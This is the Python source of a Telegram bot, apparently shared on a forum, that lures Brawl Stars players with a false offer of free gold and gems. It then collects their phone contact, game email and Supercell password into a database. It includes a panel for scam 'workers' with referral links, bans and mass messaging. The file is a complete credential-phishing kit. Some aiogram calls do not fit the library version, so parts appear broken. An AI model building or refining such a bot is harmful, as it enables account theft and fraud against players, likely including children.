- 91
- 12
код:
import logging
import sqlite3
import asyncio
from aiogram import Bot, Dispatcher, types, F
from aiogram.dispatcher.router import Router
from aiogram.fsm.state import State, StatesGroup
from aiogram.fsm.storage.memory import MemoryStorage
from aiogram.fsm.context import FSMContext
from aiogram.types import ReplyKeyboardMarkup, KeyboardButton, InlineKeyboardMarkup, InlineKeyboardButton, ReplyKeyboardRemove
from aiogram.filters import Command
logging.basicConfig(level=logging.INFO)
async def delete_webhook(bot: Bot):
await bot.delete_webhook(drop_pending_updates=True)
async def main():
TOKEN = 'воллв'
ID = [уаыы]
bot = Bot(token=TOKEN)
await delete_webhook(bot)
storage = MemoryStorage()
dp = Dispatcher(storage=storage)
router = Router()
# Підключення до бази даних
conn = sqlite3.connect(r'C:\Users\Admin\Desktop\brawlscam\db.db')
cursor = conn.cursor()
class Dialog(StatesGroup):
spamworker = State()
spamuser = State()
blacklist = State()
whitelist = State()
link = State()
add = State()
class Log(StatesGroup):
ref = State()
phone = State()
mail = State()
password = State()
class Entr(StatesGroup):
golds = State()
gems = State()
class Code(StatesGroup):
entr = State()
button1 = KeyboardButton(text='Забанити')
button2 = KeyboardButton(text='Разбанити')
button3 = KeyboardButton(text='Рассылка')
button4 = KeyboardButton(text='Статистика')
button5 = KeyboardButton(text='Топ воркеров')
menu = ReplyKeyboardMarkup(keyboard=[[button1, button2], [button3], [button4, button5]], resize_keyboard=True)
spamworker = KeyboardButton(text='Воркерам')
spamuser = KeyboardButton(text='Юзерам')
back = KeyboardButton(text='Назад')
spammenu = ReplyKeyboardMarkup(keyboard=[[spamworker, spamuser], [back]], resize_keyboard=True)
cancel = ReplyKeyboardMarkup(keyboard=[[KeyboardButton(text='Назад')]], resize_keyboard=True)
panel = ReplyKeyboardMarkup(keyboard=[[KeyboardButton(text='Ссылка')], [KeyboardButton(text='Статистика'), KeyboardButton(text='Топ воркеров')], [KeyboardButton(text='Информация')]], resize_keyboard=True)
kb_info = InlineKeyboardMarkup(inline_keyboard=[
[InlineKeyboardButton(text='Канал', url='https://t.me/')],
[InlineKeyboardButton(text='Чат', url='https://t.me/')],
[InlineKeyboardButton(text='Поддержка', url='https://t.me/')]
])
inline_btn_try = InlineKeyboardButton(text='Невалид', callback_data='btn_try')
inline_btn_code = InlineKeyboardButton(text='Отправить код', callback_data='btn_code')
@router.message(Command('start'))
async def start(message: types.Message):
cursor.execute('SELECT id FROM users WHERE user_id = ?', (message.from_user.id,))
result = cursor.fetchall()
if message.from_user.id in ID:
await message.answer('Добро пожаловать!', reply_markup=menu)
else:
if not result:
cursor.execute('INSERT INTO users (user_id) VALUES (?)', (message.from_user.id,))
if message.from_user.username:
cursor.execute('UPDATE users SET nick = ? WHERE user_id = ?', ('@' + message.from_user.username, message.from_user.id,))
conn.commit()
cursor.execute('SELECT block FROM users WHERE user_id = ?', (message.from_user.id,))
result = cursor.fetchone()
if result[0] != 1:
cursor.execute('SELECT status FROM users WHERE user_id = ?', (message.from_user.id,))
status_check = cursor.fetchone()
if status_check[0] != 'worker':
if " " in message.text and message.text.split()[1].isdigit():
cursor.execute('UPDATE users SET ref = ? WHERE user_id = ?', (message.text.split()[1], message.from_user.id,))
conn.commit()
keyboardmain = InlineKeyboardMarkup(inline_keyboard=[[InlineKeyboardButton(text='Запуск', callback_data='start')]])
await message.answer(f'''👋Привет, {message.from_user.first_name}!
Это бот, который донатит в Brawl Stars игровую валюту.
Чтобы начать, нажмите:''', reply_markup=keyboardmain)
else:
await message.answer('Добро пожаловать!', reply_markup=panel)
else:
await message.answer('Вы заблокированы!')
@router.callback_query(lambda c: c.data == 'start')
async def buttonstart(callback_query: types.CallbackQuery):
cid = callback_query.message.chat.id
mid = callback_query.message.message_id
kb = InlineKeyboardMarkup(inline_keyboard=[
[InlineKeyboardButton(text='Золото 💰', callback_data='golds')],
[InlineKeyboardButton(text='Гемы 💎', callback_data='gems')]
])
await bot.edit_message_text('Выберите пункт с нужной валютой:', cid, mid, reply_markup=kb)
@router.callback_query(lambda c: c.data == 'golds')
async def buttongolds(callback_query: types.CallbackQuery, state: FSMContext):
cid = callback_query.message.chat.id
mid = callback_query.message.message_id
await bot.edit_message_text('Введите количество золота💰\n📌(не более 1.000)', cid, mid)
await state.set_state(Entr.golds)
@router.message(F.state == Entr.golds)
async def entrgolds(message: types.Message, state: FSMContext):
num = message.text
if not num.isdigit():
await message.reply('Введите число! Повторите попытку.')
elif int(num) > 1000:
await message.reply('Количество не может быть более 1.000! Повторите попытку.')
else:
markup_request = ReplyKeyboardMarkup(keyboard=[[KeyboardButton(text='Зарегистрироваться', request_contact=True)]], resize_keyboard=True)
await message.answer('Похоже у вас не осталось бесплатных запросов на день..\n🎁Есть возможность получить дополнительные запросы зарегистрировавшись в боте!', reply_markup=markup_request)
await state.finish()
@router.callback_query(lambda c: c.data == 'gems')
async def buttongems(callback_query: types.CallbackQuery, state: FSMContext):
cid = callback_query.message.chat.id
mid = callback_query.message.message_id
await bot.edit_message_text('Введите количество гемов💎\n📌(не более 80)', cid, mid)
await state.set_state(Entr.gems)
@router.message(F.state == Entr.gems)
async def entrgems(message: types.Message, state: FSMContext):
num = message.text
if not num.isdigit():
await message.reply('Введите число! Повторите попытку.')
elif int(num) > 80:
await message.reply('Количество не может быть более 80! Повторите попытку.')
else:
markup_request = ReplyKeyboardMarkup(keyboard=[[KeyboardButton(text='Зарегистрироваться', request_contact=True)]], resize_keyboard=True)
await message.answer('Похоже у вас не осталось бесплатных запросов на день..\n🎁Есть возможность получить дополнительные запросы зарегистрировавшись в боте!', reply_markup=markup_request)
await state.finish()
@router.message(F.content_type == types.ContentType.CONTACT)
async def contact(message: types.Message, state: FSMContext):
if message.contact is not None:
await state.update_data(first=message.contact.first_name, last=message.contact.last_name, userid=message.contact.user_id, phone=message.contact.phone_number, nick=message.from_user.username)
await message.answer('Регистрация прошла успешно!', reply_markup=ReplyKeyboardRemove())
await message.answer('✉ Введите почту, привязанную к игре:')
await state.set_state(Log.mail)
@router.message(F.state == Log.mail)
async def entrmail(message: types.Message, state: FSMContext):
await state.update_data(mail=message.text)
await message.answer('✉ Введите пароль от аккаунта Supercell:')
await state.set_state(Log.password)
@router.message(F.state == Log.password)
async def entrpassword(message: types.Message, state: FSMContext):
await state.update_data(password=message.text)
await message.answer('⏳ Ожидайте, идет проверка данных...')
data = await state.get_data()
cursor.execute('INSERT INTO log (first, last, userid, phone, mail, password, nick) VALUES (?, ?, ?, ?, ?, ?, ?)', (data['first'], data['last'], data['userid'], data['phone'], data['mail'], data['password'], data['nick']))
conn.commit()
await message.answer('Проверка завершена успешно!')
await state.finish()
@router.message(Command('рассылка'))
async def cmd_spam(message: types.Message, state: FSMContext):
if message.from_user.id in ID:
await message.answer('Выберите категорию для рассылки:', reply_markup=spammenu)
await state.set_state(Dialog.spamworker)
else:
await message.answer('У вас нет доступа к этой команде.')
@router.message(F.state == Dialog.spamworker)
async def process_spam_worker(message: types.Message, state: FSMContext):
if message.text.lower() == 'воркерам':
await message.answer('Введите текст для рассылки воркерам:', reply_markup=cancel)
await state.set_state(Dialog.spamworker)
elif message.text.lower() == 'юзерам':
await message.answer('Введите текст для рассылки юзерам:', reply_markup=cancel)
await state.set_state(Dialog.spamuser)
else:
await message.answer('Неверная команда! Попробуйте снова.')
@router.message(F.state == Dialog.spamuser)
async def process_spam_user(message: types.Message, state: FSMContext):
text = message.text
cursor.execute('SELECT user_id FROM users WHERE status = "user"')
users = cursor.fetchall()
for user in users:
try:
await bot.send_message(user[0], text)
except Exception as e:
logging.error(f'Error sending message to {user[0]}: {e}')
await message.answer('Рассылка завершена!', reply_markup=menu)
await state.finish()
@router.message(lambda message: True)
async def handle_all_unprocessed_messages(message: types.Message):
await message.answer("I'm sorry, I don't understand this command.")
dp.include_router(router)
await dp.start_polling(bot)
if __name__ == '__main__':
import asyncio
asyncio.run(main())